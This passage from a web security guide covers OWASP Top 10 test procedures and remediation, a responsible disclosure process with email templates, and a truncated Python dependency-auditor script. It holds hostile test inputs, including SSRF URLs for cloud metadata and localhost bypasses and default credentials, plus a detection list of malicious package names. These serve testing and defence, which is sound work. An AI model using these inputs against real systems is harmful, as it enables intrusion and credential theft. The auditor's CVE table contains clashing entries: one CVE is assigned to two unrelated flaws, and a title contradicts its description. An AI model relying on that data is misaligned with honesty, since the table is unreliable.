1. Use parameterized queries / prepared statements for ALL database operations 2. Use ORM methods with bound parameters (not raw queries) 3. Validate and sanitize all input on the server side 4. Use Content-Security-Policy to mitigate XSS impact 5. Escape output based on context (HTML, JS, URL, CSS) 6. Never pass user input to eval(), exec(), os.system(), or child_process 7. Use allowlists for expected input formats
CVSS Scoring Guidance
- SQL injection (unauthenticated): CVSS 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Stored XSS: CVSS 7.1 — AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Reflected XSS: CVSS 6.1 — AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Command injection: CVSS 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
---
A04:2021 — Insecure Design
CWEs Covered: CWE-209, CWE-256, CWE-501, CWE-522
Description
Insecure design represents weaknesses in the design and architecture of the application, distinct from implementation bugs. This includes missing or ineffective security controls.
Test Procedures
| # | Test | Method | Expected Result |
|---|---|---|---|
| 1 | Rate limiting | Send 100 rapid requests to login | 429 after threshold (5-10 attempts) |
| 2 | Business logic abuse | Submit negative quantities, skip payment | All calculations server-side |
| 3 | Account lockout | 10+ failed login attempts | Account locked or CAPTCHA triggered |
| 4 | Multi-step flow bypass | Skip steps via direct URL access | Server validates state at each step |
| 5 | Password reset abuse | Request multiple reset tokens | Previous tokens invalidated |
Remediation
1. Use threat modeling during design phase (STRIDE, PASTA) 2. Implement rate limiting on all sensitive endpoints 3. Validate business logic on the server, never trust client calculations 4. Use state machines for multi-step workflows 5. Implement CAPTCHA for public-facing forms after threshold
CVSS Scoring Guidance
- Missing rate limit on auth: CVSS 7.5 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Business logic bypass (financial): CVSS 8.1 — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
---
A05:2021 — Security Misconfiguration
CWEs Covered: CWE-2, CWE-11, CWE-13, CWE-15, CWE-16, CWE-388
Description
The application is improperly configured, with default settings, unnecessary features enabled, verbose error messages, or missing security hardening.
Test Procedures
| # | Test | Method | Expected Result |
|---|---|---|---|
| 1 | Default credentials | Try admin:admin, root:root | Rejected |
| 2 | Debug mode | Trigger application errors | No stack traces in response |
| 3 | Security headers | Check response headers | CSP, X-Frame-Options, XCTO, HSTS present |
| 4 | HTTP methods | Send OPTIONS request | Only required methods allowed |
| 5 | Directory listing | Request directory without index | Listing disabled (403 or redirect) |
| 6 | Server version disclosure | Check Server and X-Powered-By headers | Version info removed |
| 7 | Error messages | Submit invalid data | Generic error messages, no internal details |
Remediation
1. Disable debug mode in production 2. Remove default credentials and accounts 3. Add all security headers (CSP, HSTS, X-Frame-Options, XCTO, Referrer-Policy) 4. Remove Server and X-Powered-By headers 5. Disable directory listing 6. Implement generic error pages
CVSS Scoring Guidance
- Debug mode in production: CVSS 5.3 — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Default admin credentials: CVSS 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Missing security headers: CVSS 4.3 — AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
---
A06:2021 — Vulnerable and Outdated Components
CWEs Covered: CWE-1035, CWE-1104
Description
Components (libraries, frameworks, software modules) with known vulnerabilities that can undermine application defenses.
Test Procedures
| # | Test | Method | Expected Result |
|---|---|---|---|
| 1 | npm audit | npm audit --json | No critical or high vulnerabilities |
| 2 | pip audit | pip audit --desc | No known CVEs |
| 3 | Go vulncheck | govulncheck ./... | No reachable vulnerabilities |
| 4 | EOL check | Compare framework versions to vendor EOL dates | No EOL components |
| 5 | License audit | Check dependency licenses | No copyleft licenses in proprietary code |
Remediation
1. Run dependency audits in CI/CD (block merges on critical/high) 2. Set up automated dependency update PRs (Dependabot, Renovate) 3. Pin dependency versions in lock files 4. Remove unused dependencies 5. Subscribe to security advisories for key dependencies
CVSS Scoring Guidance
Inherit the CVSS score from the upstream CVE. Add environmental metrics based on reachability.
---
A07:2021 — Identification and Authentication Failures
CWEs Covered: CWE-255, CWE-259, CWE-287, CWE-288, CWE-384, CWE-798
Description
Weaknesses in authentication mechanisms that allow attackers to compromise passwords, keys, session tokens, or exploit implementation flaws to assume other users' identities.
Test Procedures
| # | Test | Method | Expected Result |
|---|---|---|---|
| 1 | Brute force | 100 rapid login attempts | Account lockout or exponential backoff |
| 2 | Session cookie flags | Inspect cookies in browser | HttpOnly, Secure, SameSite set |
| 3 | Session invalidation | Logout, replay session cookie | 401 Unauthorized |
| 4 | Username enumeration | Submit valid/invalid usernames | Identical error messages |
| 5 | Password policy | Submit "12345" as password | Rejected (min 8 chars, complexity) |
| 6 | Password reset token | Request reset, check token expiry | Token expires in 15-60 minutes |
| 7 | MFA bypass | Skip MFA step via direct API call | Requires MFA completion |
Remediation
1. Implement multi-factor authentication 2. Set session cookies with HttpOnly, Secure, SameSite=Strict 3. Invalidate sessions on logout and password change 4. Use generic error messages ("Invalid credentials" not "User not found") 5. Enforce strong password policy (NIST SP 800-63B) 6. Expire password reset tokens within 15-60 minutes
CVSS Scoring Guidance
- Authentication bypass: CVSS 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Session fixation: CVSS 7.5 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Username enumeration: CVSS 5.3 — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
---
A08:2021 — Software and Data Integrity Failures
CWEs Covered: CWE-345, CWE-353, CWE-426, CWE-494, CWE-502, CWE-565, CWE-829
Description
Code and infrastructure that does not protect against integrity violations, including unsafe deserialization, unsigned updates, and CI/CD pipeline manipulation.
Test Procedures
| # | Test | Method | Expected Result |
|---|---|---|---|
| 1 | Unsafe deserialization | Send crafted serialized objects | Rejected or safely handled |
| 2 | SRI on CDN resources | Check script/link tags | Integrity attribute present |
| 3 | CI/CD pipeline | Review pipeline config | Signed commits, protected branches |
| 4 | Update integrity | Check update mechanism | Signed artifacts, hash verification |
Remediation
1. Use yaml.safe_load() instead of yaml.load() 2. Avoid pickle.loads() on untrusted data 3. Add SRI hashes to all CDN-loaded scripts 4. Sign all deployment artifacts 5. Protect CI/CD pipeline with branch protection and signed commits
CVSS Scoring Guidance
- Unsafe deserialization (RCE): CVSS 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Missing SRI on CDN scripts: CVSS 6.1 — AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
---
A09:2021 — Security Logging and Monitoring Failures
CWEs Covered: CWE-117, CWE-223, CWE-532, CWE-778
Description
Without sufficient logging and monitoring, breaches cannot be detected. Logging too little means missed attacks; logging too much (sensitive data) creates new risks.
Test Procedures
| # | Test | Method | Expected Result |
|---|---|---|---|
| 1 | Auth event logging | Attempt valid/invalid logins | Both logged with timestamp and IP |
| 2 | Sensitive data in logs | Review log output | No passwords, tokens, PII, credit cards |
| 3 | Alert thresholds | Trigger 50 failed logins | Alert generated |
| 4 | Log integrity | Check log storage | Append-only or integrity-protected storage |
| 5 | Admin action audit trail | Perform admin actions | All actions logged with user identity |
Remediation
1. Log all authentication events (success and failure) 2. Sanitize logs — strip passwords, tokens, PII before writing 3. Set up alerting on anomalous patterns (SIEM integration) 4. Use append-only log storage (CloudWatch, Splunk, immutable S3) 5. Maintain audit trail for all admin and data-modifying actions
CVSS Scoring Guidance
Logging failures are typically scored as contributing factors rather than standalone vulnerabilities. When combined with other findings, they increase the overall risk level.
---
A10:2021 — Server-Side Request Forgery (SSRF)
CWEs Covered: CWE-918
Description
SSRF occurs when a web application fetches a remote resource without validating the user-supplied URL, allowing attackers to reach internal services, cloud metadata endpoints, or other protected resources.
Test Procedures
| # | Test | Method | Expected Result |
|---|---|---|---|
| 1 | Internal IP access | Submit http://127.0.0.1 in URL fields | Request blocked |
| 2 | Cloud metadata | Submit http://169.254.169.254/latest/meta-data/ | Request blocked |
| 3 | IPv6 localhost | Submit http://[::1] | Request blocked |
| 4 | DNS rebinding | Use DNS rebinding service | Request blocked after resolution |
| 5 | URL encoding bypass | Submit http://0x7f000001 (hex localhost) | Request blocked |
| 6 | Open redirect chain | Find open redirect, chain to internal URL | Request blocked |
Code Patterns to Detect
# BAD: User-controlled URL without validation
url = request.args.get("url")
response = requests.get(url) # SSRF!
# GOOD: URL allowlist validation
ALLOWED_HOSTS = {"api.example.com", "cdn.example.com"}
parsed = urlparse(url)
if parsed.hostname not in ALLOWED_HOSTS:
abort(403, "URL not in allowlist")
response = requests.get(url)Remediation
1. Validate and allowlist outbound URLs (domain, scheme, port) 2. Block requests to private IP ranges (10.x, 172.16-31.x, 192.168.x, 127.x, 169.254.x) 3. Block requests to cloud metadata endpoints 4. Use a dedicated egress proxy for outbound requests 5. Disable unnecessary URL-fetching features 6. Resolve DNS and validate the IP address before making the request
CVSS Scoring Guidance
- SSRF to cloud metadata (credential theft): CVSS 9.1 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
- SSRF to internal service (read): CVSS 7.5 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Blind SSRF (no response data): CVSS 5.3 — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Responsible Disclosure Guide
A complete guide for responsibly reporting security vulnerabilities found during authorized testing or independent security research.
---
Disclosure Timeline Templates
Standard 90-Day Disclosure
The industry-standard timeline used by Google Project Zero, CERT/CC, and most security researchers.
| Day | Action | Owner |
|---|---|---|
| 0 | Discover vulnerability, document with evidence | Researcher |
| 1 | Submit initial report to vendor security contact | Researcher |
| 3 | Confirm report received (if no auto-acknowledgment) | Researcher |
| 7 | Follow up if no acknowledgment received | Researcher |
| 7 | Acknowledge receipt, assign tracking ID | Vendor |
| 14 | Provide initial severity assessment and timeline | Vendor |
| 30 | First status update on remediation progress | Vendor |
| 30 | Request update if none provided | Researcher |
| 60 | Second status update; fix should be in development | Vendor |
| 60 | Offer technical assistance if fix is delayed | Researcher |
| 90 | Public disclosure deadline (with or without fix) | Researcher |
| 90+ | Coordinate joint disclosure statement if fix is ready | Both |
Accelerated 30-Day Disclosure
For actively exploited vulnerabilities or critical severity (CVSS 9.0+):
| Day | Action |
|---|---|
| 0 | Discover, document, report immediately |
| 1 | Vendor acknowledges |
| 7 | Vendor provides remediation timeline |
| 14 | Status update; patch expected |
| 30 | Public disclosure |
Extended 120-Day Disclosure
For complex vulnerabilities requiring architectural changes:
| Day | Action |
|---|---|
| 0 | Report submitted |
| 14 | Vendor acknowledges, confirms complexity |
| 30 | Vendor provides detailed remediation plan |
| 60 | Status update, partial fix may be deployed |
| 90 | Near-complete remediation expected |
| 120 | Full disclosure |
When to extend: Only if the vendor is actively working on a fix and communicating progress. A vendor that goes silent does not earn extra time.
---
Communication Templates
Initial Vulnerability Report
Subject: Security Vulnerability Report — [Brief Title]
To: security@[vendor].com
Dear Security Team,
I am writing to report a security vulnerability I discovered in [Product/Service Name].
## Summary
- **Vulnerability Type:** [e.g., SQL Injection, SSRF, Authentication Bypass]
- **Severity:** [Critical/High/Medium/Low] (CVSS: X.X)
- **Affected Component:** [e.g., /api/login endpoint, User Profile page]
- **Discovery Date:** [YYYY-MM-DD]
## Description
[Clear, technical description of the vulnerability — what it is, where it exists, and why it matters.]
## Steps to Reproduce
1. [Step 1]
2. [Step 2]
3. [Step 3]
## Evidence
[Screenshots, request/response pairs, or proof-of-concept code. Non-destructive only.]
## Impact
[What an attacker could achieve by exploiting this vulnerability.]
## Suggested Remediation
[Your recommendation for fixing the issue.]
## Disclosure Timeline
I follow a [90-day] responsible disclosure policy. I plan to publicly disclose this finding on [DATE] unless we agree on an alternative timeline.
## Researcher Information
- Name: [Your Name]
- Organization: [Your Organization, if applicable]
- Contact: [Your Email]
- PGP Key: [Fingerprint or link to public key]
I have not accessed any user data, modified any systems, or shared this information with anyone else. I am happy to provide additional details or assist with remediation.
Best regards,
[Your Name]Follow-Up (No Response After 7 Days)
Subject: Re: Security Vulnerability Report — [Brief Title] (Follow-Up)
Dear Security Team,
I am following up on the security vulnerability report I submitted on [DATE] regarding [Brief Title].
I have not yet received an acknowledgment. Could you please confirm receipt and provide an estimated timeline for review?
For reference, my original report is included below / attached.
I remain available to provide additional details or clarification.
Best regards,
[Your Name]Status Update Request (Day 30)
Subject: Re: Security Vulnerability Report — [Brief Title] (30-Day Update Request)
Dear Security Team,
It has been 30 days since I reported the [vulnerability type] in [component]. I would appreciate an update on:
1. Has the vulnerability been confirmed?
2. What is the remediation timeline?
3. Is there anything I can do to assist?
As noted in my original report, I follow a 90-day disclosure policy. The current disclosure date is [DATE].
Best regards,
[Your Name]Pre-Disclosure Notification (Day 80)
Subject: Re: Security Vulnerability Report — [Brief Title] (Pre-Disclosure Notice)
Dear Security Team,
This is a courtesy notice that the 90-day disclosure window for [vulnerability] will close on [DATE].
Current status as I understand it: [summarize last known status].
If a fix is not yet available, I recommend:
- Publishing a security advisory acknowledging the issue
- Providing mitigation guidance to affected users
- Communicating a realistic remediation timeline
I am willing to:
- Extend the deadline by [X] days if you can provide a concrete remediation date
- Review the patch before public release
- Coordinate joint disclosure
Please respond by [DATE - 5 days] so we can align on the disclosure approach.
Best regards,
[Your Name]Public Disclosure Statement
# Security Advisory: [Title]
**Reported:** [Date]
**Disclosed:** [Date]
**Vendor:** [Vendor Name]
**Status:** [Fixed in version X.Y.Z / Unpatched / Mitigated]
## Summary
[Brief description accessible to non-technical readers.]
## Technical Details
[Full technical description, reproduction steps, evidence.]
## Impact
[What could be exploited and the blast radius.]
## Timeline
| Date | Event |
|------|-------|
| [Date] | Vulnerability discovered |
| [Date] | Report submitted to vendor |
| [Date] | Vendor acknowledged |
| [Date] | Fix released (version X.Y.Z) |
| [Date] | Public disclosure |
## Remediation
[Steps users should take — update to version X, apply config change, etc.]
## Credit
Discovered by [Your Name] ([Organization]).---
Legal Considerations
Before You Test
1. Written authorization is required. For external testing, obtain a signed rules-of-engagement document or scope-of-work. For bug bounty programs, the program's terms of service serve as authorization.
2. Understand local laws. The Computer Fraud and Abuse Act (CFAA) in the US, the Computer Misuse Act in the UK, and equivalent laws in other jurisdictions criminalize unauthorized access. Authorization is your legal shield.
3. Stay within scope. If the bug bounty program says "*.example.com only," do not test anything outside that scope. If your pen test contract covers the web application, do not pivot to internal networks.
4. Document everything. Keep timestamped records of all testing activities: what you tested, when, what you found, and what you did not do (e.g., "did not access real user data").
During Testing
1. Do not access real user data. Use your own test accounts. If you accidentally access real data, stop immediately, document the incident, and report it to the vendor.
2. Do not cause damage. No data destruction, no denial-of-service, no resource exhaustion. If a test might cause disruption, get explicit approval first.
3. Do not exfiltrate data. Demonstrate the vulnerability with minimal proof. A screenshot showing "1000 records returned" is sufficient — downloading the records is not.
4. Do not install backdoors. Even for "maintaining access during testing." If you need persistent access, work with the vendor's team.
During Disclosure
1. Do not threaten. Disclosure timelines are industry practice, not ultimatums. Communicate professionally.
2. Do not sell vulnerability details. Selling to exploit brokers instead of reporting to the vendor is irresponsible and may be illegal.
3. Give vendors reasonable time. 90 days is standard. Complex architectural fixes may need more time if the vendor is communicating and making progress.
4. Do not publicly disclose details that help attackers exploit unpatched systems. If the fix is not yet deployed, disclose the existence and severity of the issue without full exploitation details.
---
Bug Bounty Program Integration
Finding the Right Program
1. Check the vendor's website: Look for /security, /.well-known/security.txt, or a security page 2. Bug bounty platforms: HackerOne, Bugcrowd, Intigriti, YesWeHack 3. No program? Report to security@[vendor].com or use CERT/CC as an intermediary
Bug Bounty Best Practices
1. Read the entire policy before testing — scope, exclusions, safe harbor 2. Test only in-scope assets — out-of-scope findings may not be rewarded and could be legally risky 3. Report one vulnerability per submission — do not bundle unrelated issues 4. Provide clear reproduction steps — assume the reader cannot read your mind 5. Do not duplicate — search existing reports before submitting 6. Be patient — triage can take days to weeks depending on program volume 7. Do not publicly disclose until the program explicitly permits it
If No Bug Bounty Exists
1. Report directly to security@[vendor].com 2. If no response after 14 days, try CERT/CC (https://www.kb.cert.org/vuls/report/) 3. Follow the standard disclosure timeline 4. Do not expect payment — responsible disclosure is an ethical practice, not a paid service
---
CVE Request Process
When to Request a CVE
- The vulnerability affects publicly available software
- The vendor has confirmed the issue
- A fix is available or will be available soon
How to Request
1. Through the vendor: If the vendor is a CNA (CVE Numbering Authority), they will assign the CVE 2. Through MITRE: If the vendor is not a CNA, submit a request at https://cveform.mitre.org/ 3. Through a CNA: Some platforms (HackerOne, GitHub) are CNAs and can assign CVEs for vulnerabilities in their scope
Information Required
- Vulnerability type (CWE ID if known)
- Affected product and version range
- Fixed version (if available)
- Attack vector (network, local, physical)
- Impact (confidentiality, integrity, availability)
- CVSS score and vector string
- Description (one paragraph, technical but readable)
- References (advisory URL, patch commit, bug report)CVE ID Format
CVE-YYYY-NNNNN
Example: CVE-2024-12345After assignment, the CVE will be published in the NVD (National Vulnerability Database) at https://nvd.nist.gov/.
---
Key Principles Summary
1. Report first, disclose later. Always give the vendor a chance to fix the issue before going public. 2. Minimize impact. Prove the vulnerability exists without causing damage or accessing real data. 3. Communicate professionally. Security is stressful for everyone. Be clear, helpful, and patient. 4. Document everything. Timestamps, evidence, communications — protect yourself and the process. 5. Follow through. A report without follow-up helps no one. Stay engaged until the issue is resolved. 6. Credit where due. Acknowledge the vendor's response (positive or negative) in your disclosure. 7. Know the law. Authorization and scope are your legal foundations. Never test without them.
#!/usr/bin/env python3
"""
Dependency Auditor - Analyze package manifests for known vulnerable patterns.
Table of Contents:
DependencyAuditor - Main class for dependency vulnerability analysis
__init__ - Initialize with manifest path and severity filter
audit() - Run full audit on the manifest
_parse_manifest() - Detect and parse the manifest file
_parse_package_json() - Parse npm package.json
_parse_requirements() - Parse pip requirements.txt
_parse_go_mod() - Parse Go go.mod
_parse_gemfile() - Parse Ruby Gemfile
_check_vulnerabilities() - Check packages against known CVE patterns
_check_risky_patterns() - Detect risky dependency patterns
main() - CLI entry point
Usage:
python dependency_auditor.py --file package.json
python dependency_auditor.py --file requirements.txt --severity high
python dependency_auditor.py --file go.mod --json
"""
import argparse
import json
import os
import re
import sys
from dataclasses import dataclass, asdict, field
from datetime import datetime
from pathlib import Path
from typing import Dict, List, Optional, Tuple
@dataclass
class Dependency:
"""Represents a parsed dependency."""
name: str
version: str
ecosystem: str # npm, pypi, go, rubygems
is_dev: bool = False
@dataclass
class VulnerabilityFinding:
"""A known vulnerability match for a dependency."""
package: str
installed_version: str
vulnerable_range: str
cve_id: str
severity: str # critical, high, medium, low
title: str
description: str
remediation: str
cvss_score: float = 0.0
references: List[str] = field(default_factory=list)
@dataclass
class RiskyPattern:
"""A risky dependency pattern (not a CVE, but a concern)."""
package: str
pattern_type: str # pinning, wildcard, deprecated, typosquat
severity: str
description: str
recommendation: str
class DependencyAuditor:
"""Analyze package manifests for known vulnerable patterns and risky dependencies."""
# Known vulnerable package versions (curated subset of high-profile CVEs)
KNOWN_VULNS = [
{"ecosystem": "npm", "package": "lodash", "below": "4.17.21",
"cve": "CVE-2021-23337", "severity": "high", "cvss": 7.2,
"title": "Prototype Pollution in lodash",
"description": "lodash before 4.17.21 is vulnerable to Command Injection via template function.",
"remediation": "Upgrade lodash to >=4.17.21"},
{"ecosystem": "npm", "package": "axios", "below": "1.6.0",
"cve": "CVE-2023-45857", "severity": "medium", "cvss": 6.5,
"title": "CSRF token exposure in axios",
"description": "axios before 1.6.0 inadvertently exposes CSRF tokens in cross-site requests.",
"remediation": "Upgrade axios to >=1.6.0"},
{"ecosystem": "npm", "package": "express", "below": "4.19.2",
"cve": "CVE-2024-29041", "severity": "medium", "cvss": 6.1,
"title": "Open Redirect in express",
"description": "express before 4.19.2 allows open redirects via malicious URLs.",
"remediation": "Upgrade express to >=4.19.2"},
{"ecosystem": "npm", "package": "jsonwebtoken", "below": "9.0.0",
"cve": "CVE-2022-23529", "severity": "critical", "cvss": 9.8,
"title": "Insecure key retrieval in jsonwebtoken",
"description": "jsonwebtoken before 9.0.0 allows key confusion attacks via secretOrPublicKey.",
"remediation": "Upgrade jsonwebtoken to >=9.0.0"},
{"ecosystem": "npm", "package": "minimatch", "below": "3.0.5",
"cve": "CVE-2022-3517", "severity": "high", "cvss": 7.5,
"title": "ReDoS in minimatch",
"description": "minimatch before 3.0.5 is vulnerable to Regular Expression Denial of Service.",
"remediation": "Upgrade minimatch to >=3.0.5"},
{"ecosystem": "npm", "package": "tar", "below": "6.1.9",
"cve": "CVE-2021-37713", "severity": "high", "cvss": 8.6,
"title": "Arbitrary File Creation in tar",
"description": "tar before 6.1.9 allows arbitrary file creation/overwrite via symlinks.",
"remediation": "Upgrade tar to >=6.1.9"},
{"ecosystem": "pypi", "package": "pillow", "below": "9.3.0",
"cve": "CVE-2022-45198", "severity": "high", "cvss": 7.5,
"title": "DoS via crafted image in Pillow",
"description": "Pillow before 9.3.0 allows denial of service via specially crafted image files.",
"remediation": "Upgrade Pillow to >=9.3.0"},
{"ecosystem": "pypi", "package": "django", "below": "4.2.8",
"cve": "CVE-2023-46695", "severity": "high", "cvss": 7.5,
"title": "DoS via file uploads in Django",
"description": "Django before 4.2.8 allows denial of service via large file uploads.",
"remediation": "Upgrade Django to >=4.2.8"},
{"ecosystem": "pypi", "package": "flask", "below": "2.3.2",
"cve": "CVE-2023-30861", "severity": "high", "cvss": 7.5,
"title": "Session cookie exposure in Flask",
"description": "Flask before 2.3.2 may expose session cookies on cross-origin redirects.",
"remediation": "Upgrade Flask to >=2.3.2"},
{"ecosystem": "pypi", "package": "requests", "below": "2.31.0",
"cve": "CVE-2023-32681", "severity": "medium", "cvss": 6.1,
"title": "Proxy-Authorization header leak in requests",
"description": "requests before 2.31.0 leaks Proxy-Authorization headers on redirects.",
"remediation": "Upgrade requests to >=2.31.0"},
{"ecosystem": "pypi", "package": "cryptography", "below": "41.0.0",
"cve": "CVE-2023-38325", "severity": "high", "cvss": 7.5,
"title": "NULL dereference in cryptography",
"description": "cryptography before 41.0.0 has a NULL pointer dereference in PKCS7 parsing.",
"remediation": "Upgrade cryptography to >=41.0.0"},
{"ecosystem": "pypi", "package": "pyyaml", "below": "6.0.1",
"cve": "CVE-2020-14343", "severity": "critical", "cvss": 9.8,
"title": "Arbitrary code execution in PyYAML",
"description": "PyYAML before 6.0.1 allows arbitrary code execution via yaml.load().",
"remediation": "Upgrade PyYAML to >=6.0.1 and use yaml.safe_load()"},
{"ecosystem": "go", "package": "golang.org/x/crypto", "below": "0.17.0",
"cve": "CVE-2023-48795", "severity": "medium", "cvss": 5.9,
"title": "Terrapin SSH prefix truncation attack",
"description": "golang.org/x/crypto before 0.17.0 vulnerable to SSH prefix truncation.",
"remediation": "Upgrade golang.org/x/crypto to >=0.17.0"},
{"ecosystem": "go", "package": "golang.org/x/net", "below": "0.17.0",
"cve": "CVE-2023-44487", "severity": "high", "cvss": 7.5,
"title": "HTTP/2 rapid reset DoS",
"description": "golang.org/x/net before 0.17.0 vulnerable to HTTP/2 rapid reset attack.",
"remediation": "Upgrade golang.org/x/net to >=0.17.0"},
{"ecosystem": "rubygems", "package": "rails", "below": "7.0.8",
"cve": "CVE-2023-44487", "severity": "high", "cvss": 7.5,
"title": "ReDoS in Rails",
"description": "Rails before 7.0.8 vulnerable to Regular Expression Denial of Service.",
"remediation": "Upgrade rails to >=7.0.8"},
]
# Known typosquat / malicious package names
TYPOSQUAT_PACKAGES = {
"npm": ["crossenv", "event-stream-malicious", "flatmap-stream", "ua-parser-jss",
"loadsh", "lodashs", "axois", "requets"],
"pypi": ["python3-dateutil", "jeIlyfish", "python-binance-sdk", "requestss",
"djago", "flassk", "requets"],
}
def __init__(self, manifest_path: str, severity_filter: str = "low"):
self.manifest_path = Path(manifest_path)
self.severity_filter = severity_filter
self.severity_order = {"critical": 4, "high": 3, "medium": 2, "low": 1}
self.min_severity = self.severity_order.get(severity_filter, 1)
def audit(self) -> Dict:
"""Run full audit on the manifest file."""
deps = self._parse_manifest()
vuln_findings = self._check_vulnerabilities(deps)
risky_patterns = self._check_risky_patterns(deps)
# Filter by severity
vuln_findings = [f for f in vuln_findings
if self.severity_order.get(f.severity, 0) >= self.min_severity]
risky_patterns = [r for r in risky_patterns
if self.severity_order.get(r.severity, 0) >= self.min_severity]
return {
"manifest": str(self.manifest_path),
"ecosystem": deps[0].ecosystem if deps else "unknown",
"total_dependencies": len(deps),
"dev_dependencies": len([d for d in deps if d.is_dev]),
"vulnerability_findings": vuln_findings,
"risky_patterns": risky_patterns,
"summary": {
"critical": len([f for f in vuln_findings if f.severity == "critical"]),
"high": len([f for f in vuln_findings if f.severity == "high"]),
"medium": len([f for f in vuln_findings if f.severity == "medium"]),
"low": len([f for f in vuln_findings if f.severity == "low"]),
"risky_patterns_count": len(risky_patterns),
}
}
def _parse_manifest(self) -> List[Dependency]:
"""Detect manifest type and parse dependencies."""
name = self.manifest_path.name.lower()
try:
content = self.manifest_path.read_text(encoding="utf-8")
except (OSError, PermissionError) as e:
print(f"Error reading {self.manifest_path}: {e}", file=sys.stderr)
sys.exit(1)
if name == "package.json":
return self._parse_package_json(content)
elif name in ("requirements.txt", "requirements-dev.txt", "requirements_dev.txt"):
return self._parse_requirements(content)
elif name == "go.mod":
return self._parse_go_mod(content)
elif name in ("gemfile", "gemfile.lock"):
return self._parse_gemfile(content)
else:
print(f"Unsupported manifest type: {name}", file=sys.stderr)
print("Supported: package.json, requirements.txt, go.mod, Gemfile", file=sys.stderr)
sys.exit(1)
def _parse_package_json(self, content: str) -> List[Dependency]:
"""Parse npm package.json."""
deps = []
try:
data = json.loads(content)
except json.JSONDecodeError as e:
print(f"Invalid JSON in package.json: {e}", file=sys.stderr)
sys.exit(1)
for name, version in data.get("dependencies", {}).items():
clean_ver = re.sub(r"[^0-9.]", "", version).strip(".")
deps.append(Dependency(name=name, version=clean_ver or version, ecosystem="npm", is_dev=False))
for name, version in data.get("devDependencies", {}).items():
clean_ver = re.sub(r"[^0-9.]", "", version).strip(".")
deps.append(Dependency(name=name, version=clean_ver or version, ecosystem="npm", is_dev=True))
return deps
def _parse_requirements(self, content: str) -> List[Dependency]:
"""Parse pip requirements.txt."""
deps = []
for line in content.strip().split("\n"):
line = line.strip()
if not line or line.startswith("#") or line.startswith("-"):
continue
match = re.match(r"^([a-zA-Z0-9_.-]+)\s*(?:[=<>!~]+\s*)?([\d.]*)", line)
if match:
name, version = match.group(1), match.group(2) or "unknown"
deps.append(Dependency(name=name.lower(), version=version, ecosystem="pypi"))
return deps
def _parse_go_mod(self, content: str) -> List[Dependency]:
"""Parse Go go.mod."""
deps = []
in_require = False
for line in content.strip().split("\n"):
line = line.strip()
if line.startswith("require ("):
in_require = True
continue
if line == ")":
in_require = False
continue
if in_require or line.startswith("require "):
cleaned = line.replace("require ", "").strip()
parts = cleaned.split()
if len(parts) >= 2:
name = parts[0]
version = parts[1].lstrip("v")
indirect = "// indirect" in line
deps.append(Dependency(name=name, version=version, ecosystem="go", is_dev=indirect))
return deps
def _parse_gemfile(self, content: str) -> List[Dependency]:
"""Parse Ruby Gemfile."""
deps = []
for line in content.strip().split("\n"):
line = line.strip()
if not line or line.startswith("#"):
continue
match = re.match(r'''gem\s+['"]([\w-]+)['"](?:\s*,\s*['"]([^'"]*)['"'])?''', line)
if match:
name = match.group(1)
version = match.group(2) or "unknown"
version = re.sub(r"[~><=\s]", "", version)
deps.append(Dependency(name=name, version=version, ecosystem="rubygems"))
return deps
@staticmethod
def _version_below(installed: str, threshold: str) -> bool:
"""Check if installed version is below threshold (simple numeric comparison)."""
try:
inst_parts = [int(x) for x in installed.split(".") if x.isdigit()]
thresh_parts = [int(x) for x in threshold.split(".") if x.isdigit()]
# Pad shorter list
max_len = max(len(inst_parts), len(thresh_parts))
inst_parts.extend([0] * (max_len - len(inst_parts)))
thresh_parts.extend([0] * (max_len - len(thresh_parts)))
return inst_parts < thresh_parts
except (ValueError, IndexError):
return False
def _check_vulnerabilities(self, deps: List[Dependency]) -> List[VulnerabilityFinding]:
"""Check dependencies against known CVE database."""
findings = []
for dep in deps:
for vuln in self.KNOWN_VULNS:
if (dep.ecosystem == vuln["ecosystem"] and
dep.name.lower() == vuln["package"].lower() and
self._version_below(dep.version, vuln["below"])):
findings.append(VulnerabilityFinding(
package=dep.name,
installed_version=dep.version,
vulnerable_range=f"< {vuln['below']}",
cve_id=vuln["cve"],
severity=vuln["severity"],
title=vuln["title"],
description=vuln["description"],
remediation=vuln["remediation"],
cvss_score=vuln.get("cvss", 0.0),
references=[f"https://nvd.nist.gov/vuln/detail/{vuln['cve']}"],
))
return findings
def _check_risky_patterns(self, deps: List[Dependency]) -> List[RiskyPattern]:
"""Detect risky dependency patterns."""
patterns = []
ecosystem = deps[0].ecosystem if deps else "unknown"
# Check for typosquat packages
typosquats = self.TYPOSQUAT_PACKAGES.get(ecosystem, [])
for dep in deps:
if dep.name.lower() in [t.lower() for t in typosquats]:
patterns.append(RiskyPattern(
package=dep.name,
pattern_type="typosquat",
severity="critical",
description=f"'{dep.name}' is a known typosquat or malicious package name.",
recommendation="Remove immediately and check for compromised data. Install the legitimate package.",
))
# Check for wildcard/unpinned versions
for dep in deps:
if dep.version in ("*", "latest", "unknown", ""):
patterns.append(RiskyPattern(
package=dep.name,
pattern_type="unpinned",
severity="medium",
description=f"'{dep.name}' has an unpinned version ({dep.version}).",
recommendation="Pin to a specific version to prevent supply chain attacks.",
))
# Check for excessive dev dependencies in production
dev_count = len([d for d in deps if d.is_dev])
total = len(deps)
if total > 0 and dev_count / total > 0.7:
patterns.append(RiskyPattern(
package="(project-level)",
pattern_type="dev-heavy",
severity="low",
